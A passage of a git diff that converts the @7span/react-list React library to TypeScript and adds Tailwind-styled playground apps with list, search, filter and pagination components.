meta: {}, + error: error instanceof Error ? error : undefined, + } as unknown as ReactListResponse; + } +}; + +export default requestHandler; + diff --git a/apps/playground-typescript/src/components/list-wrapper.tsx b/apps/playground-typescript/src/components/list-wrapper.tsx new file mode 100644 index 0000000..02e2641 --- /dev/null +++ b/apps/playground-typescript/src/components/list-wrapper.tsx @@ -0,0 +1,298 @@ +import { useMemo, useState } from "react"; + +import ReactList, { + ReactListEmpty, + ReactListError, + ReactListGoTo, + ReactListInitialLoader, + ReactListItems, + ReactListLoader, + ReactListPagination, + ReactListPerPage, + ReactListProvider, + ReactListSearch, + ReactListSummary, +} from "@7span/react-list"; + +import { Icon } from "@iconify/react"; + +import reactListOptions from "./react-list"; +import type { PlaygroundItem } from "../api/request-handler"; + +type Filters = Record; + +export default function ListWrapper() { + const [filters, setFilters] = useState({}); + const paginationMode = "pagination" as const; + + // Stable render-prop children for the search component. + const searchChildren = useMemo( + () => + ({ + search, + setSearch, + }: { + search: string; + setSearch: (value: string) => void; + }) => ( +
+ setSearch(e.target.value)} + placeholder="Search skills..." + className="w-full rounded-md border border-gray-200 bg-white px-3 py-2 text-sm text-gray-900 shadow-sm outline-none focus:border-indigo-500 focus:ring-2 focus:ring-indigo-500" + /> +
+ ), + [], + ); + + return ( +
+
+ + +
+

+ React List TypeScript Playground +

+ +
+ {searchChildren} + + +
+
+ +
+ +
+
+
+ {[0, 1, 2, 3].map((i) => ( +
+ ))} +
+
+ + +
+
+ +
+
+ No data found +
+
+
+ + + {({ error }: { error: Error }) => ( +
+
+ +
+
{error.name}
+
{error.message}
+
+
+
+ )} +
+ + + {({ items }) => ( +
+ {items.map((item, idx) => { + const row = item as PlaygroundItem; + + return ( +
+
+
+ ID {row?.id} +
+ +
+ {row?.name} +
+ +
+ Updated:{" "} + {row?.date_updated + ? new Date( + row.date_updated, + ).toLocaleString() + : "-"} +
+
+ +
+ {row?.status ?? "-"} +
+
+ ); + })} +
+ )} +
+
+ +
+ + {({ isLoading }: { isLoading: boolean }) => + isLoading ? ( +
+ Loading... +
+ ) : null + } +
+
+
+ +
+
+ + {({ visibleCount, count }) => ( +
+ {visibleCount} results + {typeof count === "number" ? ` (total ${count})` : ""} +
+ )} +
+ +
+ + {({ perPage, setPerPage, options }) => ( + + )} + + + + {({ setPage, page, pagesCount }) => ( +
+ setPage(Number(e.target.value))} + className="w-20 rounded-md border border-gray-200 bg-white px-3 py-2 text-sm shadow-sm outline-none focus:border-indigo-500 focus:ring-2 focus:ring-indigo-500" + /> + + of {pagesCount} + +
+ )} +
+ + + {({ + page, + pagesToDisplay, + hasPrev, + hasNext, + prev, + next, + first, + last, + setPage, + }) => ( +
+ + + + +
+ {pagesToDisplay.map((p) => ( + + ))} +
+ + + + +
+ )} +
+
+
+
+
+ + +
+
+ ); +} diff --git a/apps/playground-typescript/src/components/react-list.ts b/apps/playground-typescript/src/components/react-list.ts new file mode 100644 index 0000000..ed965c9 --- /dev/null +++ b/apps/playground-typescript/src/components/react-list.ts @@ -0,0 +1,75 @@ +import type { + ReactListProviderConfig, + ReactListRequestArgs, + ReactListResponse, + ReactListStateManager, +} from "@7span/react-list"; + +import requestHandler from "../api/request-handler"; +import type { PlaygroundItem } from "../api/request-handler"; + +type Filters = Record; + +const stateManagerKey = (endpoint: string, version: number) => + `react-list--${endpoint}--${version}`; + +const stateManager: ReactListStateManager = { + init(context: any) { + const { endpoint, version } = context; + const allKeys = `react-list--${endpoint}--`; + const latestKey = stateManagerKey(endpoint, version); + + const staleKeys = Object.keys(localStorage).filter( + (key) => key.startsWith(allKeys) && key !== latestKey, + ); + staleKeys.forEach((key) => localStorage.removeItem(key)); + }, + set(context: any) { + const { + endpoint, + version, + search, + page, + perPage, + sortBy, + sortOrder, + filters, + attrSettings, + } = context; + + const key = stateManagerKey(endpoint, version); + localStorage.setItem( + key, + JSON.stringify({ + search, + page, + perPage, + sortBy, + sortOrder, + filters, + attrSettings, + }), + ); + }, + get(context: any) { + const { endpoint, version } = context; + const key = stateManagerKey(endpoint, version); + + try { + const raw = localStorage.getItem(key); + if (!raw) return null; + return JSON.parse(raw) as any; + } catch { + return null; + } + }, +}; + +const config: ReactListProviderConfig = { + requestHandler: requestHandler as unknown as ( + args: ReactListRequestArgs, + ) => Promise>, + stateManager, +}; + +export default config; diff --git a/apps/playground-typescript/src/index.css b/apps/playground-typescript/src/index.css new file mode 100644 index 0000000..d1d9133 --- /dev/null +++ b/apps/playground-typescript/src/index.css @@ -0,0 +1,2 @@ +@import "tailwindcss"; +@source "../**/*.{js,jsx,ts,tsx}"; \ No newline at end of file diff --git a/apps/playground-typescript/src/main.tsx b/apps/playground-typescript/src/main.tsx new file mode 100644 index 0000000..0c5505f --- /dev/null +++ b/apps/playground-typescript/src/main.tsx @@ -0,0 +1,11 @@ +import { StrictMode } from "react"; +import { createRoot } from "react-dom/client"; + +import App from "./App"; +import "./index.css"; + +createRoot(document.getElementById("root")!).render( + + + , +); diff --git a/apps/playground-typescript/tailwind.config.js b/apps/playground-typescript/tailwind.config.js new file mode 100644 index 0000000..a117e69 --- /dev/null +++ b/apps/playground-typescript/tailwind.config.js @@ -0,0 +1,8 @@ +/** @type {import('tailwindcss').Config} */ +export default { + content: ["./index.html", "./src/**/*.{ts,tsx,jsx,js}"], + theme: { + extend: {}, + }, + plugins: [], +}; diff --git a/apps/playground-typescript/tsconfig.json b/apps/playground-typescript/tsconfig.json new file mode 100644 index 0000000..e034b35 --- /dev/null +++ b/apps/playground-typescript/tsconfig.json @@ -0,0 +1,16 @@ +{ + "compilerOptions": { + "target": "ES2022", + "lib": ["ES2022", "DOM", "DOM.Iterable"], + "module": "ESNext", + "moduleResolution": "Bundler", + "jsx": "react-jsx", + "strict": true, + "skipLibCheck": true, + "noEmit": true, + "types": ["vite/client"], + "resolveJsonModule": true + }, + "include": ["src"] +} + diff --git a/apps/playground-typescript/vite.config.ts b/apps/playground-typescript/vite.config.ts new file mode 100644 index 0000000..f0c8be1 --- /dev/null +++ b/apps/playground-typescript/vite.config.ts @@ -0,0 +1,7 @@ +import { defineConfig } from 'vite'; +import react from '@vitejs/plugin-react'; + +export default defineConfig({ + plugins: [react()], +}); + diff --git a/apps/playground/package.json b/apps/playground/package.json index c903db3..90148b5 100644 --- a/apps/playground/package.json +++ b/apps/playground/package.json @@ -10,21 +10,25 @@ "preview": "vite preview" }, "dependencies": { + "@7span/react-list": "workspace:*", + "@iconify/react": "^5.2.1", "axios": "1.11.0", "react": "^19.0.0", - "react-dom": "^19.0.0", - "@iconify/react": "^5.2.1", - "@7span/react-list": "workspace:*" + "react-dom": "^19.0.0" }, "devDependencies": { "@eslint/js": "^9.22.0", + "@tailwindcss/postcss": "^4.2.2", "@types/react": "^19.0.10", "@types/react-dom": "^19.0.4", "@vitejs/plugin-react": "^4.3.4", + "autoprefixer": "^10.4.27", "eslint": "^9.22.0", "eslint-plugin-react-hooks": "^5.2.0", "eslint-plugin-react-refresh": "^0.4.19", "globals": "^16.0.0", + "postcss": "^8.5.8", + "tailwindcss": "^4.2.2", "vite": "^6.3.1" } } diff --git a/apps/playground/postcss.config.js b/apps/playground/postcss.config.js new file mode 100644 index 0000000..51a6e4e --- /dev/null +++ b/apps/playground/postcss.config.js @@ -0,0 +1,6 @@ +export default { + plugins: { + '@tailwindcss/postcss': {}, + autoprefixer: {}, + }, +}; diff --git a/apps/playground/src/components/list-wrapper.jsx b/apps/playground/src/components/list-wrapper.jsx index a74d603..c8600b0 100644 --- a/apps/playground/src/components/list-wrapper.jsx +++ b/apps/playground/src/components/list-wrapper.jsx @@ -1,3 +1,5 @@ +import { useMemo, useState } from 'react'; + import ReactList, { ReactListEmpty, ReactListError, @@ -10,416 +12,334 @@ import ReactList, { ReactListProvider, ReactListSearch, ReactListSummary, -} from "@7span/react-list"; +} from '@7span/react-list'; + +import { Icon } from '@iconify/react'; -import { Icon } from "@iconify/react"; -import { useState } from "react"; +import reactListOptions from './react-list'; -import reactListOptions from "./react-list"; +const STATUS_OPTIONS = [ + { label: 'All Status', value: '' }, + { label: 'Draft', value: 'draft' }, + { label: 'Published', value: 'published' }, + { label: 'Archived', value: 'archived' }, +]; -import "../app.css"; +const COLOR_OPTIONS = [ + { label: 'All Colors', value: '' }, + { label: 'Red', value: '#FF9900' }, + { label: 'Blue', value: '#FFEB0F' }, + { label: 'Green', value: '#F7DF1E' }, + { label: 'Yellow', value: '#5E24FF' }, +]; -const ListWrapper = () => { +export default function ListWrapper() { const [filters, setFilters] = useState({}); + const paginationMode = 'pagination'; + + const searchChildren = useMemo( + () => + ({ search, setSearch }) => ( +
+ setSearch(e.target.value)} + placeholder="Search skills..." + className="w-full rounded-md border border-gray-700 bg-gray-900 px-3 py-2 text-sm text-gray-100 shadow-sm outline-none focus:border-indigo-500 focus:ring-2 focus:ring-indigo-500/20" + /> +
+ ), + [], + ); + return ( -
-

React List Playground

- - -
-
- {/* */} - - {({ search, setSearch }) => ( -
- { - setSearch(e.target.value); - }} - placeholder="Search skills..." - className="search-input" - /> -
- )} -
-
-
-
-
- +
+
+
+

+ React List Playground (Tailwind) +

+ +
+ + +
+ {searchChildren} + -
- -
-
-
- -
- -
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
- {[...Array(5)].map((_, index) => ( -
-
-
-
-
-
+ {COLOR_OPTIONS.map((opt) => ( + ))} -
-
-
-
- -
-
-
-
- -
-
- -

No Data Found

- -

- We couldn't find any matching records. Try adjusting your - search or filters. -

+ - -
-
- - {({ error }) => ( -
-
- -
-

Something went wrong

-

- {error.message || - "An unexpected error occurred while fetching data."} -

-
-

- {error.name}: {error.message} -

-
-
- )} -
- - {({ items, sort, setSort }) => { - return ( -
- -
-
- + +
+
+
+ {[0, 1, 2, 3].map((i) => ( +
+ ))} +
+
+ + +
+ +
+
+ No data found
- - - - - - - - - - - - {items.map((item) => ( - - - - - - - ))} - -
ID - Name{" "} - - Status - Update At{" "} - -
{item.id}{item.name}{item.status} - {new Date(item.date_updated).toLocaleString()} -
-
- ); - }} - - {/* Footer */} -
-
-
- - {({ visibleCount }) => ( - - {visibleCount} Results - - )} - -
+ + {({ items }) => ( +
+ {items.map((item, idx) => { + const row = item ?? {}; + return ( +
+
+
+ ID {row.id} +
-
- Page Size: - - {({ perPage, setPerPage, options }) => ( -
- -
- +
+ {row.name} +
+ +
+ Updated:{' '} + {row.date_updated + ? new Date( + row.date_updated, + ).toLocaleString() + : '-'} +
+
+ +
+ {row.status ?? '-'} +
+
+ ); + })}
-
- )} - -
+ )} + -
- - {({ setPage, page, pagesCount }) => ( -
- Go to: - { - const page = Number(e.target.value); - setPage(page); - }} - className="page-input" - /> - of {pagesCount} -
- )} -
-
-
+ + {({ isLoading }) => + isLoading ? ( +
+ Loading... +
+ ) : null + } +
+
- - {({ - page, - pagesToDisplay, - hasNext, - hasPrev, - prev, - next, - first, - last, - setPage, - }) => ( -
- +
+
+ + {({ visibleCount, count }) => ( +
+ {visibleCount} results + {typeof count === 'number' + ? ` (total ${count})` + : ''} +
+ )} +
- +
+ + {({ perPage, setPerPage, options }) => ( + + )} + -
- {pagesToDisplay.map((item, index) => { - const isActive = item === page; + + {({ setPage, page, pagesCount }) => ( +
+ + setPage(Number(e.target.value)) + } + className="w-20 rounded-md border border-gray-700 bg-gray-900 px-3 py-2 text-sm text-gray-100 shadow-sm outline-none focus:border-indigo-500 focus:ring-2 focus:ring-indigo-500/20" + /> + + of {pagesCount} + +
+ )} +
- return ( - - ); - })} -
+ + {({ + page, + pagesToDisplay, + hasPrev, + hasNext, + first, + prev, + next, + last, + setPage, + }) => ( +
+ + - +
+ {pagesToDisplay.map((p) => ( + + ))} +
- + + +
+ )} +
+
+
- )} - -
+
+ +
- - +
+
); -}; +} -export default ListWrapper; diff --git a/apps/playground/src/index.css b/apps/playground/src/index.css index 08a3ac9..a50c033 100644 --- a/apps/playground/src/index.css +++ b/apps/playground/src/index.css @@ -1,3 +1,6 @@ +@import "tailwindcss"; +@source "../**/*.{js,jsx,ts,tsx}"; + :root { font-family: system-ui, Avenir, Helvetica, Arial, sans-serif; line-height: 1.5; @@ -18,6 +21,7 @@ a { color: #646cff; text-decoration: inherit; } + a:hover { color: #535bf2; } @@ -46,9 +50,11 @@ button { cursor: pointer; transition: border-color 0.25s; } + button:hover { border-color: #646cff; } + button:focus, button:focus-visible { outline: 4px auto -webkit-focus-ring-color; @@ -59,10 +65,12 @@ button:focus-visible { color: #213547; background-color: #ffffff; } + a:hover { color: #747bff; } + button { background-color: #f9f9f9; } -} +} \ No newline at end of file diff --git a/apps/playground/tailwind.config.js b/apps/playground/tailwind.config.js new file mode 100644 index 0000000..524f96e --- /dev/null +++ b/apps/playground/tailwind.config.js @@ -0,0 +1,9 @@ +/** @type {import('tailwindcss').Config} */ +export default { + content: ['./index.html', './src/**/*.{js,jsx,ts,tsx}'], + theme: { + extend: {}, + }, + plugins: [], +}; + diff --git a/packages/react-list/package.json b/packages/react-list/package.json index 7423430..6163710 100644 --- a/packages/react-list/package.json +++ b/packages/react-list/package.json @@ -5,12 +5,22 @@ "type": "module", "scripts": { "dev": "vite", - "build": "vite build", + "build": "vite build && pnpm run build:types", + "build:types": "tsc -p tsconfig.build.json", "lint": "eslint .", "preview": "vite preview", - "prepublishOnly": "npm run build" + "prepublishOnly": "pnpm run build" + }, + "main": "dist/react-list.cjs", + "module": "dist/react-list.js", + "types": "dist/types/index.d.ts", + "exports": { + ".": { + "types": "./dist/types/index.d.ts", + "import": "./dist/react-list.js", + "require": "./dist/react-list.cjs" + } }, - "main": "dist/react-list.js", "files": [ "dist" ], @@ -22,7 +32,10 @@ "react-dom": "^18.2.0 || ^19.0.0" }, "devDependencies": { + "@types/react": "^19.1.13", + "@types/react-dom": "^19.1.9", "@vitejs/plugin-react": "^4.3.4", + "typescript": "^5.9.3", "vite": "^6.3.1" } -} +} \ No newline at end of file diff --git a/packages/react-list/src/components/attributes.jsx b/packages/react-list/src/components/attributes.jsx deleted file mode 100644 index b3fc189..0000000 --- a/packages/react-list/src/components/attributes.jsx +++ /dev/null @@ -1,53 +0,0 @@ -import { memo, useCallback, useMemo } from "react"; -import { useListContext } from "../context/list-provider"; - -export const ReactListAttributes = memo(({ children, renderAttribute }) => { - const { listState } = useListContext(); - const { attrs, attrSettings, updateAttr } = listState; - - const handleAttrChange = useCallback( - (attrName) => (e) => { - updateAttr(attrName, "visible", e.target.checked); - }, - [updateAttr] - ); - - const scope = useMemo( - () => ({ - attrs, - attrSettings, - updateAttr, - }), - [attrs, attrSettings, updateAttr] - ); - - if (children) { - return children(scope); - } - - return ( -
- {attrs.map((attr, index) => { - if (renderAttribute) { - return renderAttribute({ - key: `attr-${index}`, - attr, - updateAttr, - attrSettings, - }); - } - - return ( - - ); - })} -
- ); -}); diff --git a/packages/react-list/src/components/attributes.tsx b/packages/react-list/src/components/attributes.tsx new file mode 100644 index 0000000..fa4e2d7 --- /dev/null +++ b/packages/react-list/src/components/attributes.tsx @@ -0,0 +1,87 @@ +import { memo, useCallback, useMemo } from "react"; +import { useListContext } from "../context/list-provider"; +import type { ReactListAttrSettings, ReactListAttribute } from "../types"; +import type { ChangeEvent, ReactNode } from "react"; + +type ReactListAttributesUpdateAttr = ( + attrName: string, + settingKey: string, + value: unknown, +) => void; + +type ReactListAttributesScope = { + attrs: ReactListAttribute[]; + attrSettings: ReactListAttrSettings; + updateAttr: ReactListAttributesUpdateAttr; +}; + +type ReactListAttributesRenderAttributeArgs = { + key: string; + attr: ReactListAttribute; + updateAttr: ReactListAttributesUpdateAttr; + attrSettings: ReactListAttrSettings; +}; + +type ReactListAttributesProps = { + children?: ReactNode | ((scope: ReactListAttributesScope) => ReactNode); + renderAttribute?: (args: ReactListAttributesRenderAttributeArgs) => ReactNode; +}; + +export const ReactListAttributes = memo( + ({ children, renderAttribute }: ReactListAttributesProps) => { + const { listState } = useListContext(); + const { attrs, attrSettings, updateAttr } = listState; + + const handleAttrChange = useCallback( + (attrName: string) => (e: ChangeEvent) => { + updateAttr(attrName, "visible", e.target.checked); + }, + [updateAttr], + ); + + const scope = useMemo( + () => ({ + attrs, + attrSettings, + updateAttr, + }), + [attrs, attrSettings, updateAttr], + ); + + if (typeof children === "function") { + return children(scope); + } + + if (children) return children; + + return ( +
+ {attrs.map((attr, index) => { + if (renderAttribute) { + return ( + + {renderAttribute({ + key: `attr-${index}`, + attr, + updateAttr, + attrSettings, + })} + + ); + } + + return ( + + ); + })} +
+ ); + }, +); diff --git a/packages/react-list/src/components/empty.jsx b/packages/react-list/src/components/empty.tsx similarity index 77% rename from packages/react-list/src/components/empty.jsx rename to packages/react-list/src/components/empty.tsx index 40dbeed..c97be07 100644 --- a/packages/react-list/src/components/empty.jsx +++ b/packages/react-list/src/components/empty.tsx @@ -1,7 +1,11 @@ import { memo } from "react"; import { useListContext } from "../context/list-provider"; -export const ReactListEmpty = memo(({ children }) => { +type ReactListEmptyProps = { + children?: React.ReactNode; +}; + +export const ReactListEmpty = memo(({ children }: ReactListEmptyProps) => { const { listState } = useListContext(); const { data: items, loader, error } = listState; const { isLoading, initialLoading } = loader; diff --git a/packages/react-list/src/components/error.jsx b/packages/react-list/src/components/error.tsx similarity index 72% rename from packages/react-list/src/components/error.jsx rename to packages/react-list/src/components/error.tsx index 957ad19..476b5d0 100644 --- a/packages/react-list/src/components/error.jsx +++ b/packages/react-list/src/components/error.tsx @@ -1,7 +1,14 @@ import { memo } from "react"; +import type { ReactNode } from "react"; import { useListContext } from "../context/list-provider"; -export const ReactListError = memo(({ children }) => { +type ReactListErrorProps = { + children?: + | ReactNode + | ((scope: { error: Error }) => ReactNode); +}; + +export const ReactListError = memo(({ children }: ReactListErrorProps) => { const { listState } = useListContext(); const { error, loader } = listState; const { isLoading } = loader; diff --git a/packages/react-list/src/components/go-to.jsx b/packages/react-list/src/components/go-to.tsx similarity index 73% rename from packages/react-list/src/components/go-to.jsx rename to packages/react-list/src/components/go-to.tsx index 361162b..a076d86 100644 --- a/packages/react-list/src/components/go-to.jsx +++ b/packages/react-list/src/components/go-to.tsx @@ -1,7 +1,21 @@ import { memo, useCallback, useMemo } from "react"; +import type { ReactNode } from "react"; import { useListContext } from "../context/list-provider"; -export const ReactListGoTo = memo(({ children }) => { +type ReactListGoToScope = { + setPage: (page: number, addContext?: Record) => void; + page: number; + pages: number[]; + pagesCount: number; +}; + +type ReactListGoToProps = { + children?: + | ReactNode + | ((scope: ReactListGoToScope) => ReactNode); +}; + +export const ReactListGoTo = memo(({ children }: ReactListGoToProps) => { const { listState } = useListContext(); const { data, count, pagination, setPage, loader, error } = listState; const { page, perPage } = pagination; @@ -42,8 +56,10 @@ export const ReactListGoTo = memo(({ children }) => { return (
- {children ? ( + {typeof children === "function" ? ( children(scope) + ) : children ? ( + children ) : ( handleChange(e.target.value)} - placeholder="Search..." - /> - )} -
- ); -}); diff --git a/packages/react-list/src/components/search.tsx b/packages/react-list/src/components/search.tsx new file mode 100644 index 0000000..0eb7d1c --- /dev/null +++ b/packages/react-list/src/components/search.tsx @@ -0,0 +1,75 @@ +import { memo, useEffect, useRef, useState } from "react"; +import type { ReactNode } from "react"; + +import { useListContext } from "../context/list-provider"; + +type ReactListSearchScope = { + search: string; + setSearch: (value: string) => void; +}; + +type ReactListSearchProps = { + debounceTime?: number; + children?: ReactNode | ((scope: ReactListSearchScope) => ReactNode); +}; + +export const ReactListSearch = memo( + ({ children, debounceTime = 500 }: ReactListSearchProps) => { + const { listState } = useListContext(); + const { search, setSearch } = listState; + + const [localSearch, setLocalSearch] = useState(search ?? ""); + const debounceTimerRef = useRef | null>(null); + + // Sync local state with context when the list search value changes. + useEffect(() => { + if (search !== localSearch) { + setLocalSearch(search ?? ""); + } + // eslint-disable-next-line react-hooks/exhaustive-deps + }, [search]); + + const handleChange = (value: string) => { + setLocalSearch(value); + + if (debounceTimerRef.current) { + clearTimeout(debounceTimerRef.current); + } + + debounceTimerRef.current = setTimeout(() => { + setSearch(value); + }, debounceTime); + }; + + useEffect(() => { + return () => { + if (debounceTimerRef.current) { + clearTimeout(debounceTimerRef.current); + } + }; + }, []); + + const scope: ReactListSearchScope = { + search: localSearch, + setSearch: handleChange, + }; + + return ( +
+ {typeof children === "function" ? ( + children(scope) + ) : children ? ( + children + ) : ( + handleChange(e.target.value)} + placeholder="Search..." + /> + )} +
+ ); + } +); + diff --git a/packages/react-list/src/components/summary.jsx b/packages/react-list/src/components/summary.tsx similarity index 72% rename from packages/react-list/src/components/summary.jsx rename to packages/react-list/src/components/summary.tsx index 284da5c..a360b0a 100644 --- a/packages/react-list/src/components/summary.jsx +++ b/packages/react-list/src/components/summary.tsx @@ -1,7 +1,21 @@ import { memo, useMemo } from "react"; import { useListContext } from "../context/list-provider"; -export const ReactListSummary = memo(({ children }) => { +import type { ReactNode } from "react"; + +type ReactListSummaryScope = { + from: number; + to: number; + visibleCount: number; + count: number; +}; + +type ReactListSummaryProps = { + children?: ReactNode | ((scope: ReactListSummaryScope) => ReactNode); +}; + +export const ReactListSummary = memo( + ({ children }: ReactListSummaryProps) => { const { listState } = useListContext(); const { data, count, pagination, loader, error } = listState; const { page, perPage } = pagination; @@ -35,8 +49,10 @@ export const ReactListSummary = memo(({ children }) => { return (
- {children ? ( + {typeof children === "function" ? ( children(scope) + ) : children ? ( + children ) : ( Showing {summaryData.visibleCount} items ( @@ -48,4 +64,5 @@ export const ReactListSummary = memo(({ children }) => { )}
); -}); + } +); diff --git a/packages/react-list/src/components/utils.js b/packages/react-list/src/components/utils.ts similarity index 51% rename from packages/react-list/src/components/utils.js rename to packages/react-list/src/components/utils.ts index f4a7279..e9f4e33 100644 --- a/packages/react-list/src/components/utils.js +++ b/packages/react-list/src/components/utils.ts @@ -1,10 +1,11 @@ -export const deepEqual = (obj1, obj2) => { +export const deepEqual = (obj1: unknown, obj2: unknown): boolean => { if (obj1 === obj2) return true; if (obj1 == null || obj2 == null) return obj1 === obj2; - if (typeof obj1 !== "object" || typeof obj2 !== "object") + if (typeof obj1 !== "object" || typeof obj2 !== "object") { return obj1 === obj2; + } if (Array.isArray(obj1) && Array.isArray(obj2)) { if (obj1.length !== obj2.length) return false; @@ -16,22 +17,28 @@ export const deepEqual = (obj1, obj2) => { if (Array.isArray(obj1) || Array.isArray(obj2)) return false; - const keys1 = Object.keys(obj1).filter((key) => obj1[key] !== undefined); - const keys2 = Object.keys(obj2).filter((key) => obj2[key] !== undefined); + const record1 = obj1 as Record; + const record2 = obj2 as Record; + + const keys1 = Object.keys(record1).filter((key) => record1[key] !== undefined); + const keys2 = Object.keys(record2).filter((key) => record2[key] !== undefined); if (keys1.length !== keys2.length) return false; - for (let key of keys1) { + for (const key of keys1) { if (!keys2.includes(key)) return false; - if (!deepEqual(obj1[key], obj2[key])) return false; + if (!deepEqual(record1[key], record2[key])) return false; } return true; }; -export const hasActiveFilters = (currentFilters, initialFilters) => { +export const hasActiveFilters = ( + currentFilters: Record | null | undefined, + initialFilters: Record | null | undefined +): boolean => { if (!initialFilters || Object.keys(initialFilters).length === 0) { - return currentFilters && Object.keys(currentFilters).length > 0; + return !!currentFilters && Object.keys(currentFilters).length > 0; } if (!currentFilters || Object.keys(currentFilters).length === 0) { diff --git a/packages/react-list/src/context/list-provider.jsx b/packages/react-list/src/context/list-provider.jsx deleted file mode 100644 index bd4e21a..0000000 --- a/packages/react-list/src/context/list-provider.jsx +++ /dev/null @@ -1,55 +0,0 @@ -import { createContext, useContext, useMemo, useState } from "react"; - -const ListContext = createContext(null); - -export const ReactListProvider = ({ children, config }) => { - const { requestHandler, stateManager = {} } = config; - const [listState, setListState] = useState({ - data: [], - response: null, - error: null, - count: 0, - selection: [], - pagination: { - page: 1, - perPage: 25, - }, - loader: { - isLoading: false, - initialLoading: true, - }, - sort: { - sortBy: null, - sortOrder: "desc", - }, - search: "", - filters: {}, - attrs: [], - isEmpty: true, - isInitializing: true, - }); - - if (!requestHandler) { - throw new Error("ListProvider: requestHandler is required."); - } - - const value = useMemo( - () => ({ - requestHandler, - stateManager, - listState, - setListState, - }), - [requestHandler, stateManager, listState] - ); - - return {children}; -}; - -export const useListContext = () => { - const context = useContext(ListContext); - if (!context) { - throw new Error("useListContext must be used within a ListProvider"); - } - return context; -}; diff --git a/packages/react-list/src/context/list-provider.tsx b/packages/react-list/src/context/list-provider.tsx new file mode 100644 index 0000000..0182397 --- /dev/null +++ b/packages/react-list/src/context/list-provider.tsx @@ -0,0 +1,91 @@ +import { createContext, useContext, useMemo, useState } from "react"; +import type { ReactNode } from "react"; + +import type { + ReactListContextValue, + ReactListFilters, + ReactListItem, + ReactListItemId, + ReactListListState, + ReactListProviderConfig, + ReactListResponse, + ReactListRequestHandler, + ReactListStateManager, +} from "../types"; + +const ListContext = createContext(null); + +type ReactListProviderProps = { + children: ReactNode; + config: ReactListProviderConfig; +}; + +const noop = () => {}; + +export const ReactListProvider = ({ children, config }: ReactListProviderProps) => { + const { requestHandler, stateManager = {} } = config; + + if (!requestHandler) { + throw new Error("ListProvider: requestHandler is required."); + } + + const [listState, setListState] = useState>({ + data: [], + response: null as ReactListResponse | null, + error: null, + count: 0, + selection: [] as ReactListItemId[], + pagination: { + page: 1, + perPage: 25, + hasMore: false, + }, + loader: { + isLoading: false, + initialLoading: true, + }, + sort: { + sortBy: "", + sortOrder: "desc", + }, + hasActiveFilters: false, + search: "", + filters: {}, + attrs: [], + attrSettings: {}, + isEmpty: true, + + // These actions are replaced by `ReactList` once it mounts. + setPage: noop, + setPerPage: noop, + setSearch: noop, + setSort: noop, + loadMore: noop, + clearFilters: noop, + refresh: noop, + setFilters: noop, + updateAttr: noop, + updateItemById: noop, + setSelection: noop, + }); + + const value: ReactListContextValue = useMemo( + () => ({ + requestHandler: requestHandler as ReactListRequestHandler, + stateManager: stateManager as ReactListStateManager, + listState, + setListState, + }), + [requestHandler, stateManager, listState] + ); + + return {children}; +}; + +export const useListContext = (): ReactListContextValue => { + const context = useContext(ListContext); + if (!context) { + throw new Error("useListContext must be used within a ListProvider"); + } + return context; +}; diff --git a/packages/react-list/src/index.js b/packages/react-list/src/index.ts similarity index 64% rename from packages/react-list/src/index.js rename to packages/react-list/src/index.ts index d132e3f..65eca60 100644 --- a/packages/react-list/src/index.js +++ b/packages/react-list/src/index.ts @@ -13,3 +13,25 @@ export { ReactListRefresh } from "./components/refresh"; export { ReactListSearch } from "./components/search"; export { ReactListSummary } from "./components/summary"; export { ReactListProvider } from "./context/list-provider"; + +export type { + ReactListAttrSettings, + ReactListContext, + ReactListContextValue, + ReactListFilters, + ReactListAttribute, + ReactListProps, + ReactListPaginationMode, + ReactListItem, + ReactListItemId, + ReactListListState, + ReactListLoaderState, + ReactListPaginationState, + ReactListProviderConfig, + ReactListRequestArgs, + ReactListRequestHandler, + ReactListResponse, + ReactListSort, + ReactListSortOrder, + ReactListStateManager, +} from "./types"; diff --git a/packages/react-list/src/types/index.ts b/packages/react-list/src/types/index.ts new file mode 100644 index 0000000..d27aaf5 --- /dev/null +++ b/packages/react-list/src/types/index.ts @@ -0,0 +1,22 @@ +export type { + ReactListAttrSettings, + ReactListContext, + ReactListContextValue, + ReactListItem, + ReactListItemId, + ReactListListState, + ReactListLoaderState, + ReactListPaginationState, + ReactListProviderConfig, + ReactListRequestArgs, + ReactListRequestHandler, + ReactListResponse, + ReactListSort, + ReactListSortOrder, + ReactListStateManager, + ReactListFilters, + ReactListAttribute, +} from './list-provider.ts'; + +export type { ReactListProps, ReactListPaginationMode } from './react-list'; + diff --git a/packages/react-list/src/types/list-provider.ts b/packages/react-list/src/types/list-provider.ts new file mode 100644 index 0000000..795ddbd --- /dev/null +++ b/packages/react-list/src/types/list-provider.ts @@ -0,0 +1,156 @@ +import type * as React from 'react'; + +export type ReactListItemId = string | number; + +export type ReactListItem = Record & { + id?: ReactListItemId; +}; + +export type ReactListFilters = Record; + +export type ReactListSortOrder = '' | 'asc' | 'desc' | (string & {}); + +export type ReactListAttrSettings = Record< + string, + { + visible: boolean; + } +>; + +export type ReactListRequestArgs< + TFilters extends ReactListFilters = ReactListFilters, +> = { + endpoint: string; + version: number; + meta: Record; + page: number; + perPage: number; + search: string; + sortBy: string; + sortOrder: ReactListSortOrder; + filters: TFilters; +} & Record; + +export type ReactListResponse = { + items: TItem[]; + count: number; + meta?: unknown; + [key: string]: unknown; +}; + +export type ReactListRequestHandler< + TItem = ReactListItem, + TFilters extends ReactListFilters = ReactListFilters, +> = (args: ReactListRequestArgs) => Promise>; + +export type ReactListPersistedState< + TFilters extends ReactListFilters = ReactListFilters, +> = { + page?: number; + perPage?: number; + sortBy?: string; + sortOrder?: ReactListSortOrder; + search?: string; + attrSettings?: ReactListAttrSettings; + filters?: TFilters; +}; + +export type ReactListContext = { + endpoint: string; + version: number; + meta: Record; + search: string; + page: number; + perPage: number; + sortBy: string; + sortOrder: ReactListSortOrder; + filters: TFilters; + attrSettings: ReactListAttrSettings; + isRefresh: boolean; +}; + +export type ReactListStateManager< + TFilters extends ReactListFilters = ReactListFilters, +> = { + init?: (context: ReactListContext) => void; + get?: (context: ReactListContext) => ReactListPersistedState | null; + set?: (context: ReactListContext) => void; +}; + +export type ReactListProviderConfig< + TItem = ReactListItem, + TFilters extends ReactListFilters = ReactListFilters, +> = { + requestHandler: ReactListRequestHandler; + stateManager?: ReactListStateManager; +}; + +export type ReactListPaginationState = { + page: number; + perPage: number; + hasMore: boolean; +}; + +export type ReactListLoaderState = { + isLoading: boolean; + initialLoading: boolean; +}; + +export type ReactListSort = { + sortBy: string; + sortOrder: ReactListSortOrder; +}; + +export type ReactListAttribute = { + name: string; + label?: string; +}; + +export type ReactListActions< + TItem = ReactListItem, + TFilters extends 